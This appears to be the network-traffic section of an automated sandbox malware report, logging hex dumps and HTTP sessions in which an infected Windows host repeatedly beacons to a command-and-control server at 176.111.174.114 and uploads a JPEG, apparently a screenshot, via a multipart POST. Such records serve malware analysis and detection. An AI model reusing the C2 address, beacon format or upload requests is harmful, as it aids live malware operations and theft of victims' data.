3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:23:57.801503897 CEST	10718	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:23:57.801954985 CEST	10726	OUT	Data Raw: 50 d2 b4 db 58 fc 03 a3 3d 85 84 9a 7f 9b ba f1 9d 61 59 2e 26 de ec 0c 8c 20 4c ed 00 75 e2 bf 7b 7c 49 ff 00 0d d9 ff 00 09 15 ff 00 fc 22 1f f0 a9 7f b2 7e db 2f f6 5f f6 97 f6 a7 da 3e cf bc f9 7e 6e cf 97 cc d9 b7 76 de 33 9c 71 5f 1f c5 98 Data Ascii: PX=aY.& Lu{\|I"~/_>~nv3q_N/CF9[K%HLG*?PK&olOdHGj__wwOou}>]cjNq{B)<XbTX1j"o^_d_nfy[
Apr 28, 2021 23:23:57.802166939 CEST	10729	OUT	Data Raw: ee ab cd 1f a5 57 9a 3f ee 56 52 89 ac 64 41 4c 93 e6 3c d4 be 5f bd 37 cb f9 eb 29 44 d6 32 19 e5 9f ee d3 76 0f 7a 9f 61 a6 79 5e c6 97 2b 2b 98 81 ed f1 50 49 6f 57 7c bf 7a 3c bf 7a c6 51 2e 35 2c 65 fd 9b da 9b 5a 52 43 50 49 6f fe cd 4f b3 Data Ascii: W?VRdAL<_7)D2vzay^++PIoW\|z<zQ.5,eZRCPIoO7B+SoQs&:#/fc<zO+U!gZ9_Ll#q/4/Z`Li+D5R$~%;Y0g??bP5q0Ti#17<z](s
Apr 28, 2021 23:23:57.802210093 CEST	10732	OUT	Data Raw: 45 e1 5f 12 78 3f c4 17 fe 12 f1 6e 8f 79 a5 ea ba 5d e4 b6 9a 9e 99 a8 db 34 17 16 97 11 b9 49 21 96 37 01 a3 75 65 2a ca c0 10 41 04 02 2b 6a 35 e8 62 5b 54 a6 a5 6e ce e4 d5 a3 88 a0 93 a9 16 bd 51 47 f7 94 7e f1 aa 46 85 f1 fe 14 d1 1b 2f 53 Data Ascii: E_x?ny]4I!7ue*A+j5b[TnQG~F/Sf67,}q'($}}ijx,CrD,q,,8]RL\TQvb'mh>xO>EJYe5/gyu)FVpn>D;\W7C
Apr 28, 2021 23:23:57.802640915 CEST	10737	OUT	Data Raw: e4 96 77 58 b7 90 b7 98 b2 5a a2 9d a8 19 c6 58 7c c8 bd 4e 01 f9 8c 36 26 b6 12 b2 ab 49 d9 a3 da af 42 96 26 93 a7 51 5d 33 f9 13 d4 74 ed 43 48 d4 27 d2 75 6b 19 ad 6e ad 66 68 6e 6d ae 22 29 24 32 29 21 91 94 f2 ac 08 20 83 c8 22 a3 4e b5 ed Data Ascii: wXZX\|N6&IB&Q]3tCH'uknfhnm")$2)! "NSIoex~BF3}Rz?8N6R<Q0KEjav3q_cQ:#c]H03h+alh+5\|Q,YDI*3=k7E
Apr 28, 2021 23:23:57.805222988 CEST	10740	OUT	Data Raw: da 54 2f 0e 41 ce 06 3f 9d 2a ce 2e 0a 16 6a df d3 3e ff 00 34 c6 61 e7 81 8e 06 51 94 25 46 dc bc c9 a6 d3 8a e6 e6 5d 1d f5 8f 96 87 d5 7f f0 40 ad 57 c3 91 7c 6e d0 34 9b 9f db 5f c4 1a 1e a5 2f 88 f5 66 b7 f8 1d 6f a5 6a 2f a7 78 85 3f b1 db Data Ascii: T/A?*.j>4aQ%F]@W\|n4_/foj/x?7pD/9da5um?/WxJX<! 2<M$3H#"\|vV[xzmGOohGHM5{u!!u0mo>7@~>mW
Apr 28, 2021 23:23:57.897672892 CEST	10751	OUT	Data Raw: 65 22 5a 28 a2 a8 c4 9a 2f b9 53 54 31 7d ca 92 3e f5 b4 4c 65 b9 69 1b ca e7 34 ef 3b 75 45 17 f4 a7 d7 64 77 39 e4 4f 1c 95 2c 73 ba c8 1f 3c 55 7a 7a 7d da b8 d4 91 94 a2 5f 87 52 d8 7e 7a b5 1d ff 00 98 d9 c5 64 27 de ab 10 e7 23 15 d3 4e b4 Data Ascii: e"Z(/ST1}>Lei4;uEdw9O,s<Uzz}_R~zd'#NZ`l)w*r}n1i)<i'5B{?WC3XU'+ZYG7#h$O;Ejv(^B@wcS+S7ic
Apr 28, 2021 23:23:57.897737980 CEST	10756	OUT	Data Raw: 00 61 69 92 72 d6 0a 0f fb 35 14 9e 11 d3 25 fb a8 e9 ff 00 02 a8 fe cb af d2 45 ff 00 69 d0 39 55 89 3b bd 4b e4 c3 c6 d3 cd 6e c9 e0 57 e9 0d f7 fc 05 aa b4 9e 0b d4 d3 e7 42 1e a3 ea 78 9a 7f 64 af ae 61 e5 f6 cc ee 7f bf 4f 4c 76 35 2c 9e 1e Data Ascii: air5%Ei9U;KnWBxdaOLv5,-{I6)9%B_OXj8Fr&zuhbnjVRcQZ!HXCSG&Dj42xOcDZc~oyG4rJc5be)
Apr 28, 2021 23:23:57.897839069 CEST	10772	OUT	Data Raw: 96 b9 5f f8 24 3e 9b 61 aa fc 58 f8 9b a7 5d 78 82 db 4d b7 7f 85 6f 9b fd 42 29 4c 71 81 af 68 c4 6e 58 52 47 e7 00 7c aa dc 91 9e 32 47 d5 d7 1e 2a fd 96 bc 51 fb 1e 5d 7f c1 22 3c 3d fb 46 78 7e ef 53 d3 7e 17 c3 ae 5a 78 fd 7c 67 01 d1 ae b5 Data Ascii: _$>aX]xMoB)LqhnXRG\|2G*Q]"<=Fx~S~Zx\|g7o(2x$?~'iWV+uH%cFUl3Tr^GF#$wwx4/fI$@?,{nT/t<9~,>,
Apr 28, 2021 23:23:57.897994041 CEST	10780	OUT	Data Raw: 69 cb d0 d3 69 80 51 45 14 00 e8 fb d4 aa db aa 0a 7c 3f 7e 81 4b 62 5a 28 a2 ae 46 01 4e 8f bd 36 a5 8d 71 f8 55 c7 70 04 fb d5 24 71 d4 55 35 be fd d5 46 64 b1 c7 ba ad 5b c7 4d b7 8e ac c7 1d 76 53 a6 72 54 a8 3e 3b 73 4e fb 39 f7 a9 a3 8c 95 Data Ascii: iiQE\|?~KbZ(FN6qUp$qU5Fd[MvSrT>;sN9IgUj=C6?HSQ#T4SOkQJHxm+nK%UNQj&%AQScIQj_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49714	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:22.848679066 CEST	1566	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.5	49744	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:32.994602919 CEST	1602	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
600	176.111.174.114	80	192.168.2.5	50069	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:57.727955103 CEST	10713	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:57 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
601	192.168.2.5	50071	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:57.946109056 CEST	10794	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
602	176.111.174.114	80	192.168.2.5	50071	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:58.050497055 CEST	10885	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:58 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
603	176.111.174.114	80	192.168.2.5	50070	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:58.096872091 CEST	10887	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:57 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
604	192.168.2.5	50073	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:58.265714884 CEST	10887	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
605	176.111.174.114	80	192.168.2.5	50073	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:58.372992039 CEST	10888	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:58 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
606	192.168.2.5	50074	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:58.576216936 CEST	10888	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
607	176.111.174.114	80	192.168.2.5	50074	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:58.678072929 CEST	10889	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:58 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
608	192.168.2.5	50075	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:58.885656118 CEST	10889	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
609	176.111.174.114	80	192.168.2.5	50075	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:58.982954025 CEST	10890	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:58 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	176.111.174.114	80	192.168.2.5	49744	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:33.096647978 CEST	1603	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:33 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
610	192.168.2.5	50076	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:24:00.441313982 CEST	10891	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
611	176.111.174.114	80	192.168.2.5	50076	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:24:00.545715094 CEST	10891	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:24:00 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
612	192.168.2.5	50078	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:24:00.691598892 CEST	10904	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185541 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 